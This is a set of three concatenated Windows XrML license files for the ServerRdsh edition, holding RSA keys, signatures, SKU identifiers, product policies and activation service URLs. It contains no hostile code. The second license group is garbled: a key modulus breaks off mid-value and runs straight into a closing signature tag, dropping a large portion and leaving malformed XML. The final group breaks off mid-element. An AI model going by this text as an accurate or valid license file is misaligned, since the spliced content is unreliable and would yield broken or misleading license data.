<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{2f768020-dbd7-4ba1-8bb3-c81837875100}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL volume License (Public)</r:title><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ServerRdsh"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyInt name="Kernel-NonGenuineNotificationType" attributes="override-only">2</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">ServerRdsh</sl:policyStr></sl:productPolicies></r:allConditions><mx:renderer><sl:binding><sl:data Algorithm="msft:rm/algorithm/volume/1.0">GQAAAID0AwAAAAAAurHcy5PggUykYxB3UpH9+QAAAAAKAAAAAAAAAAAAAAAAAAAACg==</sl:data></sl:binding></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{ec868e65-fadf-4759-b23e-93fe37f2cc29}"></sl:productIdRange><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAABAAAA</sl:data></sl:externalValidator></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>2+aYkFyYxSXnoxAo+UEU5hovd7w=</DigestValue></Reference></SignedInfo><SignatureValue>dQ4LYOMw94G/cptSWSmx1NWBsW1lk+OVtYgUpP294GzXwTCk8q1CsEN/yxQ5k6lKxP4zAhmP3oyqyfuun3qxAv83nwAkNyiofpEbyzjoRU3PFa2misRjkqVs7Ss6b+XtCs2rReZZyyu+M8S8gD7yvk7Qius5l70O+T+ax7CLecj9az4fr1D76/o+Xfav0rnmKT4/v2ybrMfpnIkO9b8Q7sPgJfpal3seGsPx6vGE5RibfwDwfFnF8O6JeA+DI+FH4CSBkcHD1wKZ4jCG6GToFL5kpcPFLuEo4HkK4LGJCwM1jG081ZuSSa712MQEjNOKulLXV0W4u8pQ1JQpZQ/eog==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/ACTIVATED/PUBLIC</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/ACTIVATED/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="productSkuId">{ec868e65-fadf-4759-b23e-93fe37f2cc29}</tm:infoStr><tm:infoStr name="privateCertificateId">{b07d2ae8-a9ae-4244-9a99-a2b4847129ab}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="pkeyConfigLicenseId">{06a4dd30-84b7-4fd2-b859-f1eddb0858f5}</tm:infoStr><tm:infoStr name="productName">Windows(R), ServerRdsh edition</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System, VOLUME_KMSCLIENT channel</tm:infoStr><tm:infoStr name="UXDifferentiator">ENVIRONMENT</tm:infoStr><tm:infoStr name="Family">ServerRdsh</tm:infoStr><tm:infoStr name="ProductKeyGroupUniqueness">WINDOWS6.2</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{b07d2ae8-a9ae-4244-9a99-a2b4847129ab}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL volume License (Private)</r:title><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="anyAppId"></r:forAll><r:keyHolder licensePartId="accountKey"><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:allConditions><r:prerequisiteRight><r:keyHolder licensePartIdRef="accountKey"/><r:right varRef="anyRight"/><sl:appId varRef="anyAppId"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight><r:allConditions></r:allConditions></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>ld8t1m97zQhWexNkioKC85m0apQ=</DigestValue></Reference></SignedInfo><SignatureValue>qbPglAgxHlmQUHF9z7L2fTgpT+sqkhAdVOb0VB2H26D5BVrml9WYV0mY1E0JkuK0xiEX4KDZh4IVmgtuEHprvDmQn5IVXJ9m92OLlqqCOIUoNXtxugNbnuo9Zk1wDvaPTqh7yoeX36n3/YqZ0IRoM3WeKvumSwUIK9BL2d1ANRZkSN0NxVtWyU6iVwFhwJOHu/+PdLCqfWTrKCnPZWnCBO3NnyyfqliYO9BR6ezdkARL+ZDGhSN9L/1jOuG8H2A2K5iTcfv/QbxOsDd5boIfLQgqttKr/DKED2op2knih4UMYuQWamdek7UhV7pEVzNisIFOzYh1MTr6HZeodZPjuQ==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/ACTIVATED/PRIVATE</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/ACTIVATED/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="publicCertificateId">{2f768020-dbd7-4ba1-8bb3-c81837875100}</tm:infoStr><tm:infoStr name="productSkuId">{ec868e65-fadf-4759-b23e-93fe37f2cc29}</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr><tm:infoStr name="vl:policy">GQAAAID0AwAAAAAAurHcy5PggUykYxB3UpH9+QAAAAAKAAAAAAAAAAAAAAAAAAAACg==</tm:infoStr><tm:infoStr name="win:branding">175</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{7341d455-7cc2-4cba-af31-c78afe893034}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL oob License (Public)</r:title><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ServerRdsh"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0Fvd1CJrQZh68sLpMJ9sCteQ8O4TAYmy33u7mes1O/Cxm0z1S2c1kiyigbO1rM79LpLPQ1laeinLAS+XT5vr60gteHDvvuPxGw==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/GENERIC/PUBLIC</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/GENERIC/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="productSkuId">{e4db50ea-bda1-4566-b047-0ca50abc6f07}</tm:infoStr><tm:infoStr name="privateCertificateId">{beb66974-62f7-489c-be66-270843c9be3a}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="pkeyConfigLicenseId">{06a4dd30-84b7-4fd2-b859-f1eddb0858f5}</tm:infoStr><tm:infoStr name="productName">Windows(R), ServerRdsh edition</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System, VOLUME_KMSCLIENT channel</tm:infoStr><tm:infoStr name="PAUrl">https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail</tm:infoStr><tm:infoStr name="ActivationSequence">msft:spp/licenseacquisition/payloadhandler/pa/1.0</tm:infoStr><tm:infoStr name="ValidationTemplateId">{99d92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="ValUrl">https://validation-v2.sls.microsoft.com/SLWGA/slwga.asmx</tm:infoStr><tm:infoStr name="UXDifferentiator">ENVIRONMENT</tm:infoStr><tm:infoStr name="Family">ServerRdsh</tm:infoStr><tm:infoStr name="ProductKeyGroupUniqueness">WINDOWS6.2</tm:infoStr><tm:infoStr name="EnableNotificationMode">1</tm:infoStr><tm:infoStr name="GraceTimerUniqueness">EditionId</tm:infoStr><tm:infoStr name="ValidityTimerUniqueness">EditionId</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{beb66974-62f7-489c-be66-270843c9be3a}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL oob License (Private)</r:title><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="anyAppId"></r:forAll><r:keyHolder licensePartId="accountKey"><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:allConditions><r:prerequisiteRight><r:keyHolder licensePartIdRef="accountKey"/><r:right varRef="anyRight"/><sl:appId varRef="anyAppId"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight><r:allConditions></r:allConditions></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>ITjoOZu4s5mkxPHEvJM0HCFEJSQ=</DigestValue></Reference></SignedInfo><SignatureValue>Q/hrT28geOLppgM+EK0W6ygPa7pqh9SELzw1pDEllYdap+qBH17YZbR3quy6OarcWe+9vr/L+o3qYSChPxXPLFaxPXMJxShBltZHNsnmZlVTRrs/rgzDChW0RD0G7Fg/s+Mkx4FuHvVWOOnT5twd9M/mCIeP/mazQrDJBuINMj6T0uLsgp/UKYOC6CUqn0ZSzE7fQzW6igziQtGP6RJxtf8uoaN4cOAw2JC0GWYjDHsASSlHjki5+Bp+hdbJ4ZdIuP4w5hS7WKUEZu1fQ6bqSy7WEXGz8h9fbqww0/bsVt0e5ynlPuKR7AVQhFUo6SsRNeuruD+9/km9C1ctqz/Y1Q==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/GENERIC/PRIVATE</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/GENERIC/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="publicCertificateId">{7341d455-7cc2-4cba-af31-c78afe893034}</tm:infoStr><tm:infoStr name="productSkuId">{e4db50ea-bda1-4566-b047-0ca50abc6f07}</tm:infoStr><tm:infoStr name="win:branding">175</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{0ce4613d-1a94-4d7c-8b26-7558c3c28b00}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL volume License (Public)</r:title><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ServerRdsh"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyInt name="Kernel-NonGenuineNotificationType" attributes="override-only">2</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">ServerRdsh</sl:policyStr></sl:productPolicies></r:allConditions><mx:renderer><sl:binding><sl:data Algorithm="msft:rm/algorithm/volume/1.0">GQAAAID0AwAAAAAATxPiWBGOF02cspEGnBURSAAAAAAKAAAAAAAAAAAAAAAAAAAACg==</sl:data></sl:binding></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{e4db50ea-bda1-4566-b047-0ca50abc6f07}"></sl:productIdRange><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAABAAAA</sl:data></sl:externalValidator></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>tpsqCATkMAXWIgEf0LXqpf/qHuU=</DigestValue></Reference></SignedInfo><SignatureValue>LV+D8mMGfF36nNv9QC3Oc9NcjT8X3OrIixgJxo8CYSEkrT7czDMS5cpisi0iFiO50QOYFXy5Ew0QqkKhbXCaa9V+SmdWrBBpbx1jyHz+/wVuJeMcS0u9anOHotWV7luo5A8cMwRvRlOfJYpAFRBwYhIo3WJzefP4WvX9Bnfi+0AoFMLh+LV5HyhChreN8Uh4RDNSH2necTvV2i1b5k8btm5e87kTsymiWCcTSpT7WfmQxlrfVHy8qdMbZES3dg34118xSUQbQQcK490GVewTFNCbHiYvxgUWrV8kdJFSukmpHHypKr2RFRuMAdVEpZMb8hQVNL0eN7qrqfUEfOeuzw==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/ACTIVATED/PUBLIC</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/ACTIVATED/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="productSkuId">{e4db50ea-bda1-4566-b047-0ca50abc6f07}</tm:infoStr><tm:infoStr name="privateCertificateId">{5ec4f6b4-1ed3-4220-b23f-6ab231f206af}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr 